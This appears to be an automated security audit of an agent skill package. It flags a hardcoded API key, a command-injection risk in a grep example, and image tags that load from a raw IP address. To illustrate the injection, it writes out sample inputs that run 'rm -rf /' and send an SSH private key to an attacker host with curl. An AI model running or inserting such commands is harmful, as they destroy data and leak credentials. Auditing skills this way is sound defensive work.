The Agent Skills Directory

[CREDENTIALS_UNSAFE]: A hardcoded API key with a known provider prefix (AWS, GitHub, Stripe, or Google) was detected in the file courses/applied-ml/module4/readings/kaggle_leakage.html. Storing credentials in plaintext within skill files exposes them to unauthorized use and potential exploitation.
[COMMAND_EXECUTION]: The SKILL.md file provides a shell command example grep -ril "$ARGUMENTS" "${CLAUDE_SKILL_DIR}/courses/" for searching content. Using an unquoted variable containing user input ($ARGUMENTS) directly in a shell command string allows for command injection. A malicious user could provide input like ; rm -rf / or ; curl http://attacker.com/$(cat ~/.ssh/id_rsa) to execute unauthorized commands or exfiltrate sensitive data.
[DATA_EXFILTRATION]: The file courses/applied-ml/module1/readings/algorithmic_bias_lipton.html includes image tags (<img>) where the src attribute uses a raw IP address (54.90.220.187). Requesting resources from raw IPs instead of verified domain names can be used to track users or bypass security controls, and often indicates unverified or temporary infrastructure.

learn